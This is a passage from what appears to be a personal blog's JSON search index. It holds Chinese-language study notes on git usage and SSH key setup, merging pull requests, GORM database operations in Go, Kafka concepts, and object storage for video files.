\u0026lt;分支名称\u0026gt;\t# 切换到其他分支上 # 新版本git中采用git switch \u0026lt;分支名称\u0026gt; 切换分支 git checkout \u0026lt;commit哈希值\u0026gt; \u0026lt;文件名\u0026gt;\t# 查看文件的不同版本 git checkout \u0026lt;commit哈希值\u0026gt; -- \u0026lt;文件名\u0026gt;\t# 还原文件到之前的状态 清空暂存区 git reset # 所有文件的变更撤销 如何进行团队协作 建立仓库 在github上建立组织和仓库，看起来也酷酷的；\n在组织里面新建一个仓库。\n添加SSH秘钥 最好是使用SSH，所以在仓库里面添加上各位团队成员的SSH秘钥\nSSH秘钥的生成 在Windows上 打开Windows PowerShell或者Git Bash（如果你已经安装了Git）。 输入以下命令来生成SSH密钥对： ssh-keygen -t rsa -b 4096 -C \u0026#34;your_email@example.com\u0026#34; -t rsa: 指定生成RSA密钥对。 -b 4096: 指定密钥的位数。4096位提供更高的安全性，但生成时间可能稍长。 -C \u0026quot;your_email@example.com\u0026quot;: 用你的邮箱地址替换这部分内容，这将作为你的密钥的注释。 系统会提示你选择密钥保存的位置，默认会保存在~/.ssh目录下，你可以按照提示选择保存位置或直接回车使用默认位置。 然后系统会让你输入一个密码来保护你的私钥。这是可选的，如果你不想设置密码，可以直接回车跳过。 在Ubuntu上 打开终端（Terminal）。 输入以下命令来生成SSH密钥对： ssh-keygen -t rsa -b 4096 -C \u0026#34;your_email@example.com\u0026#34; -t rsa: 指定生成RSA密钥对。 -b 4096: 指定密钥的位数。4096位提供更高的安全性，但生成时间可能稍长。 -C \u0026quot;your_email@example.com\u0026quot;: 用你的邮箱地址替换这部分内容，这将作为你的密钥的注释。 系统会提示你选择密钥保存的位置，默认会保存在~/.ssh目录下，你可以按照提示选择保存位置或直接回车使用默认位置。 然后系统会让你输入一个密码来保护你的私钥。这是可选的，如果你不想设置密码，可以直接回车跳过。 完成上述步骤后，你会在指定的位置（默认为~/.ssh目录）找到生成的SSH密钥对。其中，私钥文件为id_rsa，公钥文件为id_rsa.pub。将公钥文件（id_rsa.pub）的内容复制并粘贴到需要使用该SSH密钥的服务器或Git托管服务中，以便进行身份验证。私钥文件请妥善保管，不要分享给他人，以保障账户的安全性。\nJust do it! 剩下就是团队一起约定项目开发计划是什么呀？\n变量命名要遵循什么规则啊？\n大家一起加油吧！\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/git-use/","summary":"Git正确使用姿势 Git工作区域和流程 工作区域 **远程仓库：**就是我们托管在github或者其他代码托管平台上的仓库。\n**本地仓库：**就是在我们本地通过git init命令初始化的新建的仓库。\n**工作区：**就是我们写代码、编辑文件的地方。\n**暂存区：**当工作区的内容写好了之后，就会通过add命令，将工作区的内容放到暂存区，等待commit命令提交到本地仓库中。\n文件状态 **未跟踪的（untracked）：**表示在工作区新建了某个文件，还没有add。 **已修改（modofied）：**表示在工作区中修改了某个文件，还没有 add。 **已暂存（staged）：**表示把已修改的文件已add到暂存区域。 **已提交（commit）：**表示文件已经commit到本地仓库保存起来了。 Git常见命令 仓库初始化和克隆 # git仓库初始化 git init # 从远程仓库中进行克隆代码到本地仓库 git clone [远程仓库的HTTP/SSH的URL] # 查看当前git仓库的状态 git status 远程仓库管理 Git正确使用姿势 Git工作区域和流程 工作区域 远程仓库： 就是我们托管在github或者其他代码托管平台上的仓库。 本地仓库： 就是在我们本地通过git init命令初始化的新建的仓库。 工作区# git remote 是用来管理远程仓库的命令 git remote\t# 查看已配置的远程仓库 git remote -v # 查看远程仓库的URL git remote add \u0026lt;远程仓库名称\u0026gt; \u0026lt;远程仓库URL\u0026gt;\t# 添加一个新的远程仓库 # e.g git remote add origin \u0026lt;远程仓库URL\u0026gt;，一般采用origin作为远程仓库的名字 git remote remove origin # 删除名为origin的远程仓库 git remote rename origin newname # 将origin的名字改为newname # 设置本地仓库的上游分支 git branch --set-upstream-to=origin/main main # 给本地仓库的分支重命名 ## 把master分支更名为main分支 git branch -m master main 从工作区提交代码到远程仓库 # git add 将更改过的代码添加到暂存区 git add .","title":"Git正确使用姿势"},{"content":"要在 Ubuntu 的终端中合并别人的 Pull Request (PR)，您可以按照以下步骤操作：\n确保您的本地仓库是最新的：\ngit fetch origin git checkout main git pull origin main 创建一个新分支来测试 PR：\ngit checkout -b pr-branch 拉取 PR 的内容。假设 PR 编号为 xx：\n这个编号就是PR界面中的#16，就代表编号是16\ngit pull origin pull/xx/head 测试代码，确保一切正常。\n如果测试通过，切换回主分支：\ngit checkout main 合并 PR 分支：\ngit merge --no-ff pr-branch 推送更改到远程仓库：\ngit push origin main 删除临时分支：\ngit branch -d pr-branch 这些步骤假设您有权限直接推送到主分支。如果您使用的是 GitHub，通常会在网页界面上完成 PR 的最终合并。在那种情况下，您可以在本地测试 PR，然后在 GitHub 网页上完成合并。\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/git-pr/","summary":"要在 Ubuntu 的终端中合并别人的 Pull Request (PR)，您可以按照以下步骤操作：\n确保您的本地仓库是最新的：\ngit fetch origin git checkout main git pull origin main 创建一个新分支来测试 PR：\ngit checkout -b pr-branch 拉取 PR 的内容。假设 PR 编号为 xx：\n这个编号就是PR界面中的#16，就代表编号是16\ngit pull origin pull/xx/head 测试代码，确保一切正常。\n如果测试通过，切换回主分支：\ngit checkout main 合并 PR 分支：\ngit merge --no-ff pr-branch 推送更改到远程仓库：\ngit push origin main 删除临时分支：\ngit branch -d pr-branch 这些步骤假设您有权限直接推送到主分支。如果您使用的是 GitHub，通常会在网页界面上完成 PR 的最终合并。在那种情况下，您可以在本地测试 PR，然后在 GitHub 网页上完成合并。","title":"在终端中合并PR"},{"content":"什么是GORM？ GORM 是一个 Go 编程语言中的 ORM（对象关系映射）库，全名为 \u0026ldquo;Go Object Relational Mapping\u0026rdquo;。ORM 是一种编程技术，旨在将数据库中的数据与编程语言中的对象进行映射，从而使开发者能够使用面向对象的方式来操作数据库，而不需要直接编写 SQL 查询语句。\nGORM 为 Go 语言开发者提供了一个便捷的方式来操作数据库，支持多种数据库系统，包括 MySQL、PostgreSQL、SQLite 等。它提供了许多功能，如数据库连接管理、模型定义、查询构建、事务管理、关联关系映射等。\n以下是一些 GORM 提供的功能和特点：\n模型定义简单：你可以定义 Go 结构体来映射数据库表，然后使用 GORM 来处理与数据库的交互。 自动迁移：GORM 可以自动根据模型定义来创建、修改和删除数据库表结构。 查询构建：你可以使用链式方法构建复杂的查询语句，进行数据的检索、排序、过滤等操作。 事务管理：GORM 支持事务，你可以在代码中使用事务来确保数据库操作的原子性。 关联关系：GORM 支持定义和处理表之间的关联关系，如一对一、一对多、多对多等。 钩子函数：GORM 允许你在模型的生命周期中定义钩子函数，以便在不同的操作发生时执行特定的逻辑。 使用GORM对数据库进行增删查改 数据库的设计 使用mysql作为数据库，新建一个表user，其中最主要的列是Username和Email；\n因为gorm默认使用id为主键，所以我们也在表user中新建一列id；\n另外为了配合grom.Model的使用表中另外新增created_at,updated_at,deleted_at三列。\n注意，主键id记得要设置自动递增。\n我们可以先使用navicate的随机数据生成少量数据。\n连接数据库 使用 GORM 建立数据库连接，你需要提供 MySQL 数据库的连接信息。这包括数据库的用户名、密码、主机名、端口号和数据库名称。\ndsn := \u0026#34;username:password@tcp(hostname:port)/dbname?charset=utf8mb4\u0026amp;parseTime=True\u0026amp;loc=Local\u0026#34; db, err := gorm.Open(mysql.Open(dsn), \u0026amp;gorm.Config{}) if err != nil { panic(\u0026#34;Failed to connect to the database\u0026#34;) } 确保将 username、password、hostname、port 和 dbname 替换为自己的 MySQL 数据库连接信息。\n注意使用err检查错误。\n增添记录 这里新建了一个User类型的变量newUser，再通过db.Create方法实现增添记录。\n// create a user by gorm newUser := User{Username: \u0026#34;john_doe\u0026#34;, Email: \u0026#34;john@example.com\u0026#34;} db.Create(\u0026amp;newUser) 查询记录 新建了一个新变量user，通过向数据库中查询主键（id）为2的记录，返回给user。\n之前在表的设计中不时有一个deleted_at列吗？当这个列不为空的时候，就说明这条数据已经被软删除了，所以对他进行查询是查不到的，同时你也可以看见SQL语句中的条件要求：“seleted_at IS NULL”\n// query var user User db.First(\u0026amp;user, 1) // 查询ID为1的用户 更新记录 这里就是更新了id为1的username为new_username。\n// update user db.Model(\u0026amp;user).Where(\u0026#34;id = ?\u0026#34;, 1).Update(\u0026#34;Username\u0026#34;, \u0026#34;new_username\u0026#34;) 删除记录 在实际的开发中，删除不一定是真的进行物理删除了，而是进行了软删除，即在deleted_at列中写入软删除的时间，来表示该条数据已经被“删除”了。\n// delete db.Model(\u0026amp;user).Where(\u0026#34;id = ?\u0026#34;, 1).Delete(\u0026amp;user) 在执行完成上述代码之后，结果如下：\n可以看见id为1的user的Username被改为new_username了，更新时间也打上去了，最后也被删除了。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E6%95%B0%E6%8D%AE%E5%BA%93/use-gorm/","summary":"什么是GORM？ GORM 是一个 Go 编程语言中的 ORM（对象关系映射）库，全名为 \u0026ldquo;Go Object Relational Mapping\u0026rdquo;。ORM 是一种编程技术，旨在将数据库中的数据与编程语言中的对象进行映射，从而使开发者能够使用面向对象的方式来操作数据库，而不需要直接编写 SQL 查询语句。\nGORM 为 Go 语言开发者提供了一个便捷的方式来操作数据库，支持多种数据库系统，包括 MySQL、PostgreSQL、SQLite 等。它提供了许多功能，如数据库连接管理、模型定义、查询构建、事务管理、关联关系映射等。\n以下是一些 GORM 提供的功能和特点：\n模型定义简单：你可以定义 Go 结构体来映射数据库表，然后使用 GORM 来处理与数据库的交互。 自动迁移：GORM 可以自动根据模型定义来创建、修改和删除数据库表结构。 查询构建：你可以使用链式方法构建复杂的查询语句，进行数据的检索、排序、过滤等操作。 事务管理：GORM 支持事务，你可以在代码中使用事务来确保数据库操作的原子性。 关联关系：GORM 支持定义和处理表之间的关联关系，如一对一、一对多、多对多等。 钩子函数：GORM 允许你在模型的生命周期中定义钩子函数，以便在不同的操作发生时执行特定的逻辑。 使用GORM对数据库进行增删查改 数据库的设计 使用mysql作为数据库，新建一个表user，其中最主要的列是Username和Email；\n因为gorm默认使用id为主键，所以我们也在表user中新建一列id；\n另外为了配合grom.Model的使用表中另外新增created_at,updated_at,deleted_at三列。\n注意，主键id记得要设置自动递增。\n我们可以先使用navicate的随机数据生成少量数据。\n连接数据库 使用 GORM 建立数据库连接，你需要提供 MySQL 数据库的连接信息。这包括数据库的用户名、密码、主机名、端口号和数据库名称。\ndsn := \u0026#34;username:password@tcp(hostname:port)/dbname?charset=utf8mb4\u0026amp;parseTime=True\u0026amp;loc=Local\u0026#34; db, err := gorm.Open(mysql.Open(dsn), \u0026amp;gorm.Config{}) if err != nil { panic(\u0026#34;Failed to connect to the database\u0026#34;) } 确保将 username、password、hostname、port 和 dbname 替换为自己的 MySQL 数据库连接信息。","title":"使用GORM操作数据库"},{"content":"消息队列的特性 卡夫卡(Kafka)作为消息队列的一种，拥有异步、削峰、解耦三种特性，并依靠这些特性，他经常在搜索、直播、订单和支付服务。\n**异步：**不同于同步通信的需要等待接收方响应，异步通信的发送方在发送消息到消息队列后，不等待接收方响应，而是继续进行其他操作。接收方仅需要从消息队列中拉取消息即可。 异步操作减少了流程长度，提高消息的吞吐量和效率。 **削峰：**对于突发的消息高峰，消息队列起到了存储请求的作用，使后台能以稳定的速率处理消息，从而减少了服务器的高峰负担，提高系统的稳定性。 解耦：解耦合即降低各个组件之间的依赖。使用消息队列，发送者和接收者各种把自己的消息发送给消息队列，从而实现解耦，方便各自开发部署，避免一方接口发生错误而影响多方，实现错误隔离。 卡夫卡的基本概念 **逻辑队列(Topic)：**可以建立不同的逻辑队列，存储于物理集群中。 **物理集群(Cluster)：**可建立多个逻辑队列。 **生产者(Producer)：**发送消息到逻辑队列。 **消费者(Consumer)\u0026amp;消费者组(Consumer Group)：**消费逻辑队列内的消息，各个消费者组互不干扰。 **Offset：**记录消息在有序序列Partition中的相对位置，每个Topic可分为多个Partition。Offset是消息的唯一ID，并在序列中严格递增。搜索Offset采用二分查找找到小于目标Offset的最大索引位置（时间戳索引类似）。 **Replica：**相当于副本，保证集群中节点上的 Partition 数据不因故障丢失。每个Partition有一个Replica-Leader，用于写入，同时拥有多个Follower用于记录Leader。如果Follower数据与Leader差距过大则踢出ISR。Replica又以log日志文件存储。 卡夫卡的消费模式 卡夫卡消息队列有两种最常见的消费模式。\n**一对一：**生产者将消息发送到消息队列后，由消费者从队列中拉取并消费，然后信息会被删除。\n一对多：即发布-订阅模式。生产者将消息发送到逻辑队列(Topic)（逻辑队列存储在Cluster物理集群中），可以被多个消费者订阅，从而实现每个消费者独立从该主题中拉取消息，值得注意的是该模式下消息并不会在消费后立刻删除，而是会在删除前保留一段时间。\n然而在实际业务中，这两种消费模式并不能覆盖所有常业务场景，因此也会衍生出如竞争消费和优先级消费等高级模式。\n卡夫卡消息分配 **手动分配：**通过手动分配完成哪个consumer消费哪个Partition。缺点是当Consumer节点故障后，Partition数据流受影响；当出现新的Consumer，需要重新分配Partition。 **Rebalance：**通过设立Coordinator，自动识别故障的consumer节点或新增的consumer，实现自动分配。Consumer端应用程序在提交位移时，其实是向 Coordinator 所在的 Broker 提交位移。同样地，当 Consumer 应用启动时，也是向 Coordinator 所在的 Broker 发送各种请求，然后由 Coordinator 负责执行消费者组的注册、成员管理记录等元数据管理操作。 提高卡夫卡吞吐量和稳定性的方法 **Producer：**批量发送（降低io次数）、数据压缩（降低带宽流量）。 **Broker：**顺序写（提高吸入速度），消息索引，零拷贝。 **Consumer：**Rebalance分配。 卡夫卡的缺点 **重启操作：**重启broker后，Leader切换。与此同时数据仍在写入，导致重启的broker和当前的Leader数据产生差异，需要重新追赶后才能回切（由于其他broker也有可能需要重启），导致需要大量时间。 **替换、扩容、缩容操作：**替换与重启操作类似，不过由于是重新写入，所以需要的时间更多。扩容和缩容都需要进行复制操作，因此也需要大量时间。 **负载不均衡问题：**为降低某个Partition的IO写入而进行迁移，但同时也会引入新的IO负载，陷入恶性循环，需要复杂的解决方案。 缺点总结：\n卡夫卡运维成本高。 负载不均衡问题严重。 没有缓存，依赖页缓存Page Cache。 Controller、Coordinator和Broker在同一进程中，IO性能下降。 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/kafkainfo/","summary":"消息队列的特性 卡夫卡(Kafka)作为消息队列的一种，拥有异步、削峰、解耦三种特性，并依靠这些特性，他经常在搜索、直播、订单和支付服务。\n**异步：**不同于同步通信的需要等待接收方响应，异步通信的发送方在发送消息到消息队列后，不等待接收方响应，而是继续进行其他操作。接收方仅需要从消息队列中拉取消息即可。 异步操作减少了流程长度，提高消息的吞吐量和效率。 **削峰：**对于突发的消息高峰，消息队列起到了存储请求的作用，使后台能以稳定的速率处理消息，从而减少了服务器的高峰负担，提高系统的稳定性。 解耦：解耦合即降低各个组件之间的依赖。使用消息队列，发送者和接收者各种把自己的消息发送给消息队列，从而实现解耦，方便各自开发部署，避免一方接口发生错误而影响多方，实现错误隔离。 卡夫卡的基本概念 **逻辑队列(Topic)：**可以建立不同的逻辑队列，存储于物理集群中。 **物理集群(Cluster)：**可建立多个逻辑队列。 **生产者(Producer)：**发送消息到逻辑队列。 **消费者(Consumer)\u0026amp;消费者组(Consumer Group)：**消费逻辑队列内的消息，各个消费者组互不干扰。 **Offset：**记录消息在有序序列Partition中的相对位置，每个Topic可分为多个Partition。Offset是消息的唯一ID，并在序列中严格递增。搜索Offset采用二分查找找到小于目标Offset的最大索引位置（时间戳索引类似）。 **Replica：**相当于副本，保证集群中节点上的 Partition 数据不因故障丢失。每个Partition有一个Replica-Leader，用于写入，同时拥有多个Follower用于记录Leader。如果Follower数据与Leader差距过大则踢出ISR。Replica又以log日志文件存储。 卡夫卡的消费模式 卡夫卡消息队列有两种最常见的消费模式。\n**一对一：**生产者将消息发送到消息队列后，由消费者从队列中拉取并消费，然后信息会被删除。\n一对多：即发布-订阅模式。生产者将消息发送到逻辑队列(Topic)（逻辑队列存储在Cluster物理集群中），可以被多个消费者订阅，从而实现每个消费者独立从该主题中拉取消息，值得注意的是该模式下消息并不会在消费后立刻删除，而是会在删除前保留一段时间。\n然而在实际业务中，这两种消费模式并不能覆盖所有常业务场景，因此也会衍生出如竞争消费和优先级消费等高级模式。\n卡夫卡消息分配 **手动分配：**通过手动分配完成哪个consumer消费哪个Partition。缺点是当Consumer节点故障后，Partition数据流受影响；当出现新的Consumer，需要重新分配Partition。 **Rebalance：**通过设立Coordinator，自动识别故障的consumer节点或新增的consumer，实现自动分配。Consumer端应用程序在提交位移时，其实是向 Coordinator 所在的 Broker 提交位移。同样地，当 Consumer 应用启动时，也是向 Coordinator 所在的 Broker 发送各种请求，然后由 Coordinator 负责执行消费者组的注册、成员管理记录等元数据管理操作。 提高卡夫卡吞吐量和稳定性的方法 **Producer：**批量发送（降低io次数）、数据压缩（降低带宽流量）。 **Broker：**顺序写（提高吸入速度），消息索引，零拷贝。 **Consumer：**Rebalance分配。 卡夫卡的缺点 **重启操作：**重启broker后，Leader切换。与此同时数据仍在写入，导致重启的broker和当前的Leader数据产生差异，需要重新追赶后才能回切（由于其他broker也有可能需要重启），导致需要大量时间。 **替换、扩容、缩容操作：**替换与重启操作类似，不过由于是重新写入，所以需要的时间更多。扩容和缩容都需要进行复制操作，因此也需要大量时间。 **负载不均衡问题：**为降低某个Partition的IO写入而进行迁移，但同时也会引入新的IO负载，陷入恶性循环，需要复杂的解决方案。 缺点总结：\n卡夫卡运维成本高。 负载不均衡问题严重。 没有缓存，依赖页缓存Page Cache。 Controller、Coordinator和Broker在同一进程中，IO性能下降。 ","title":"Kafka消息队列"},{"content":"在做短视频项目的时候，我总是有个疑问：用户上传的视频我要存储在哪里呢？作为开发小白，目前只知道要存放数据就到DB里面去，那我想“那我的视频文件也要存储到MySQL里面去嘛？”emm，这的确是一个大难题，不过在互联网技术发达的今天，感谢各大论坛的支持，让我了解到了视频、图像这类非结构化数据最好是对象存储。\n在此，你一定有一些疑惑：\n为什么视频不用mysql这类数据库进行存储呢？ 对象存储是什么，使用它存储非结构化数据有什么好处呢？ 为什么不用MySQL存储非结构化数据？ 首先哈，mysql人家本来就是用来存储结构化数据的，视频文件是一种非结构化数据。\n结构化数据/非结构化数据/半结构化数据 结构化数据： 结构化数据是以清晰、预定义格式存储的数据。它通常以表格、数据库或电子表格的形式存在，其中每一列都有明确的数据类型和定义，每一行代表一个记录。结构化数据非常适合使用关系型数据库管理系统（RDBMS）来存储和管理，因为数据的组织方式已经被预先定义好。例如，存储在数据库中的订单信息、员工工资表以及销售数据都属于结构化数据的示例。\n非结构化数据： 非结构化数据则没有固定的格式，它可能包含不同类型的信息，如文本、图像、音频、视频等。这种数据类型通常不适合传统的关系型数据库，因为它们缺乏统一的结构。非结构化数据的处理相对更为复杂，需要使用特定的技术和工具，如自然语言处理（NLP）技术用于处理文本数据，计算机视觉技术用于处理图像数据等。社交媒体帖子、电子邮件内容、图像文件以及语音记录都属于非结构化数据的例子。\n半结构化数据： 半结构化数据可能具有一定的格式，但不像完全结构化数据那样严格。常见的半结构化数据格式包括XML（可扩展标记语言）和JSON（JavaScript对象表示法）。这些数据通常具有一些层次结构，但字段可能不像传统数据库表中的列那样明确定义。\nMySQL是一种关系型数据库管理系统，通常用于存储和管理结构化数据，如文本、数字、日期等。虽然MySQL可以存储二进制数据，但它并不是设计用来直接存储大量大文件（如视频文件）的最佳工具。\n以下是为什么通常不使用MySQL存储视频文件的一些原因：\n性能问题：MySQL的查询引擎是设计用来处理字符串、数值和日期等类型的数据的，对于大文件的存储和检索并不是最有效的。当你存储大量大文件时，可能会导致数据库性能下降，尤其是当你需要从数据库中检索这些文件时。 存储效率：数据库通常使用磁盘空间来存储数据，而文件系统（如NFS、HDFS等）则更高效地存储大文件。使用数据库来存储大文件可能会导致不必要的磁盘空间浪费。 文件操作：视频文件通常需要进行一些文件级别的操作，如复制、移动、删除等。这些操作通常比数据级别的操作更消耗资源。如果这些操作在数据库中进行，可能会导致性能问题。 扩展性：当你的视频库变得非常大时，你可能需要扩展你的存储系统。数据库的扩展性通常比文件系统要复杂得多。 因此，对于存储和管理视频文件，通常建议使用专门的文件存储系统，如NFS、HDFS、S3等。这些系统更高效地处理大文件，并且通常提供更好的扩展性和更好的性能。如果你需要从你的视频文件中检索信息，你可以将这些信息存储在关系型数据库中，并使用数据库的功能来查询和管理这些信息。\n关于对象存储 对象存储是一种用于存储和管理大规模非结构化数据的存储架构。与传统的文件系统或块存储不同，对象存储将数据存储为\u0026quot;对象\u0026quot;，每个对象都包含数据本身以及与之相关的元数据（如文件名、创建日期、数据类型等）。这些对象被分布式地存储在多个服务器上，并通过唯一的标识符进行访问。\n对象存储的主要特点包括：\n扩展性： 对象存储设计用于应对海量数据的存储需求，可以轻松地扩展以适应不断增长的数据量，而无需大规模的基础架构变更。 分布式架构： 对象存储系统将数据分布在多个服务器上，提高了数据的可靠性和冗余性。即使某个服务器出现故障，数据仍然可以从其他服务器中恢复。 元数据： 每个对象都有丰富的元数据，这些元数据描述了对象的各种属性，包括文件名、大小、创建日期、数据类型等。这些元数据使得数据管理更加灵活和智能。 适应非结构化数据： 对象存储适用于存储各种类型的非结构化数据，如图像、音频、视频、日志文件、备份等。它不强制要求数据遵循特定的结构，因此非常适用于大多数现代应用生成的多样化数据。 数据访问和检索： 对象存储通常提供强大的数据访问和检索功能。您可以使用对象标识符进行数据检索，而不需要像传统文件系统那样的层次化文件路径。 云集成： 许多云平台提供对象存储服务，使得在云环境中存储和管理数据变得更加简单和经济。 三种存储形态 块存储（Block Storage） 块存储将数据分割成固定大小的块，通常以扇区（一般为512字节或更大）为单位。这些块可以被单独管理，读取和写入。块存储通常在底层使用了虚拟化技术，将块映射到物理存储设备上。块存储适用于需要随机读写的应用，如操作系统的磁盘，数据库，虚拟机镜像等。\n主要特点：\n低延迟的读写操作。 支持随机读写访问。 通常用于需要高性能、低延迟和数据管理控制的应用。 文件存储（File Storage） 文件存储模式以文件为单位进行存储和管理。文件存储模式通常使用网络协议（如NFS或SMB）提供共享文件系统，使多台计算机能够共享相同的文件。这种模式适用于需要多台计算机访问相同文件的应用，如共享文件夹、办公文档、媒体文件等。\n主要特点：\n以文件为单位进行管理和访问。 适用于多台计算机之间的文件共享和协作。 不适合大规模、高并发的访问。 对象存储（Object Storage） 对象存储是一种将数据以对象形式进行存储的方法。每个对象都包含数据本身、元数据（如文件名、创建日期等）以及一个唯一的标识符。对象存储通常在分布式环境中工作，可以自动扩展以适应大规模的数据。它适用于大规模的非结构化数据，如图像、音频、视频文件，以及需要长期保留和高可用性的数据。\n主要特点：\n以对象为单位存储，每个对象都有唯一的标识符。 可以存储海量非结构化数据。 高可扩展性和可用性。 适合数据归档、备份和云存储等场景。 区别 块存储以固定大小的块为单位进行读写，适用于随机读写的应用；\n文件存储以文件为单位共享，适用于多台计算机之间的文件共享和协作；\n对象存储以对象为单位存储，适用于海量非结构化数据的存储。\n块存储和文件存储通常在操作系统级别进行管理，而对象存储在应用程序级别进行管理。\n对象存储通常具有更高的可扩展性和冗余性，适合大规模和长期数据存储。\n块存储和文件存储在访问控制和数据管理方面更加灵活，而对象存储强调数据的元数据和可扩展性。\n常见的云平台的对象对象服务 腾讯云：对象存储 COS 阿里云：对象存储 OSS 火山引擎：对象存储TOS Azure：Azure Blob 存储 国内的各大云厂商的对象存储服务文档对他们的产品都介绍的挺详细的，我看了火山引擎TOS和Azure的存储服务，Azure的冗余服务在TOS中叫做多AZ冗余服务，大同小异，没有实际自己用过。国内云厂商对于学生的支持感觉还是不够，想要用还是得要自己掏钱，希望未来各大厂商还是能支持以下学生发展，积累一些企业口碑。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/objectstore/","summary":"在做短视频项目的时候，我总是有个疑问：用户上传的视频我要存储在哪里呢？作为开发小白，目前只知道要存放数据就到DB里面去，那我想“那我的视频文件也要存储到MySQL里面去嘛？”emm，这的确是一个大难题，不过在互联网技术发达的今天，感谢各大论坛的支持，让我了解到了视频、图像这类非结构化数据最好是对象存储。\n在此，你一定有一些疑惑：\n为什么视频不用mysql这类数据库进行存储呢？ 对象存储是什么，使用它存储非结构化数据有什么好处呢？ 为什么不用MySQL存储非结构化数据？ 首先哈，mysql人家本来就是用来存储结构化数据的，视频文件是一种非结构化数据。\n结构化数据/非结构化数据/半结构化数据 结构化数据： 结构化数据是以清晰、预定义格式存储的数据。它通常以表格、数据库或电子表格的形式存在，其中每一列都有明确的数据类型和定义，每一行代表一个记录。结构化数据非常适合使用关系型数据库管理系统（RDBMS）来存储和管理，因为数据的组织方式已经被预先定义好。例如，存储在数据库中的订单信息、员工工资表以及销售数据都属于结构化数据的示例。\n非结构化数据： 非结构化数据则没有固定的格式，它可能包含不同类型的信息，如文本、图像、音频、视频等。这种数据类型通常不适合传统的关系型数据库，因为它们缺乏统一的结构。非结构化数据的处理相对更为复杂，需要使用特定的技术和工具，如自然语言处理（NLP）技术用于处理文本数据，计算机视觉技术用于处理图像数据等。社交媒体帖子、电子邮件内容、图像文件以及语音记录都属于非结构化数据的例子。\n半结构化数据： 半结构化数据可能具有一定的格式，但不像完全结构化数据那样严格。常见的半结构化数据格式包括XML（可扩展标记语言）和JSON（JavaScript对象表示法）。这些数据通常具有一些层次结构，但字段可能不像传统数据库表中的列那样明确定义。\nMySQL是一种关系型数据库管理系统，通常用于存储和管理结构化数据，如文本、数字、日期等。虽然MySQL可以存储二进制数据，但它并不是设计用来直接存储大量大文件（如视频文件）的最佳工具。\n以下是为什么通常不使用MySQL存储视频文件的一些原因：\n性能问题：MySQL的查询引擎是设计用来处理字符串、数值和日期等类型的数据的，对于大文件的存储和检索并不是最有效的。当你存储大量大文件时，可能会导致数据库性能下降，尤其是当你需要从数据库中检索这些文件时。 存储效率：数据库通常使用磁盘空间来存储数据，而文件系统（如NFS、HDFS等）则更高效地存储大文件。使用数据库来存储大文件可能会导致不必要的磁盘空间浪费。 文件操作：视频文件通常需要进行一些文件级别的操作，如复制、移动、删除等。这些操作通常比数据级别的操作更消耗资源。如果这些操作在数据库中进行，可能会导致性能问题。 扩展性：当你的视频库变得非常大时，你可能需要扩展你的存储系统。数据库的扩展性通常比文件系统要复杂得多。 因此，对于存储和管理视频文件，通常建议使用专门的文件存储系统，如NFS、HDFS、S3等。这些系统更高效地处理大文件，并且通常提供更好的扩展性和更好的性能。如果你需要从你的视频文件中检索信息，你可以将这些信息存储在关系型数据库中，并使用数据库的功能来查询和管理这些信息。\n关于对象存储 对象存储是一种用于存储和管理大规模非结构化数据的存储架构。与传统的文件系统或块存储不同，对象存储将数据存储为\u0026quot;对象\u0026quot;，每个对象都包含数据本身以及与之相关的元数据（如文件名、创建日期、数据类型等）。这些对象被分布式地存储在多个服务器上，并通过唯一的标识符进行访问。\n对象存储的主要特点包括：\n扩展性： 对象存储设计用于应对海量数据的存储需求，可以轻松地扩展以适应不断增长的数据量，而无需大规模的基础架构变更。 分布式架构： 对象存储系统将数据分布在多个服务器上，提高了数据的可靠性和冗余性。即使某个服务器出现故障，数据仍然可以从其他服务器中恢复。 元数据： 每个对象都有丰富的元数据，这些元数据描述了对象的各种属性，包括文件名、大小、创建日期、数据类型等。这些元数据使得数据管理更加灵活和智能。 适应非结构化数据： 对象存储适用于存储各种类型的非结构化数据，如图像、音频、视频、日志文件、备份等。它不强制要求数据遵循特定的结构，因此非常适用于大多数现代应用生成的多样化数据。 数据访问和检索： 对象存储通常提供强大的数据访问和检索功能。您可以使用对象标识符进行数据检索，而不需要像传统文件系统那样的层次化文件路径。 云集成： 许多云平台提供对象存储服务，使得在云环境中存储和管理数据变得更加简单和经济。 三种存储形态 块存储（Block Storage） 块存储将数据分割成固定大小的块，通常以扇区（一般为512字节或更大）为单位。这些块可以被单独管理，读取和写入。块存储通常在底层使用了虚拟化技术，将块映射到物理存储设备上。块存储适用于需要随机读写的应用，如操作系统的磁盘，数据库，虚拟机镜像等。\n主要特点：\n低延迟的读写操作。 支持随机读写访问。 通常用于需要高性能、低延迟和数据管理控制的应用。 文件存储（File Storage） 文件存储模式以文件为单位进行存储和管理。文件存储模式通常使用网络协议（如NFS或SMB）提供共享文件系统，使多台计算机能够共享相同的文件。这种模式适用于需要多台计算机访问相同文件的应用，如共享文件夹、办公文档、媒体文件等。\n主要特点：\n以文件为单位进行管理和访问。 适用于多台计算机之间的文件共享和协作。 不适合大规模、高并发的访问。 对象存储（Object Storage） 对象存储是一种将数据以对象形式进行存储的方法。每个对象都包含数据本身、元数据（如文件名、创建日期等）以及一个唯一的标识符。对象存储通常在分布式环境中工作，可以自动扩展以适应大规模的数据。它适用于大规模的非结构化数据，如图像、音频、视频文件，以及需要长期保留和高可用性的数据。\n主要特点：\n以对象为单位存储，每个对象都有唯一的标识符。 可以存储海量非结构化数据。 高可扩展性和可用性。 适合数据归档、备份和云存储等场景。 区别 块存储以固定大小的块为单位进行读写，适用于随机读写的应用；\n文件存储以文件为单位共享，适用于多台计算机之间的文件共享和协作；\n对象存储以对象为单位存储，适用于海量非结构化数据的存储。\n块存储和文件存储通常在操作系统级别进行管理，而对象存储在应用程序级别进行管理。\n对象存储通常具有更高的可扩展性和冗余性，适合大规模和长期数据存储。\n块存储和文件存储在访问控制和数据管理方面更加灵活，而对象存储强调数据的元数据和可扩展性。\n常见的云平台的对象对象服务 腾讯云：对象存储 COS 阿里云：对象存储 OSS 火山引擎：对象存储TOS Azure：Azure Blob 存储 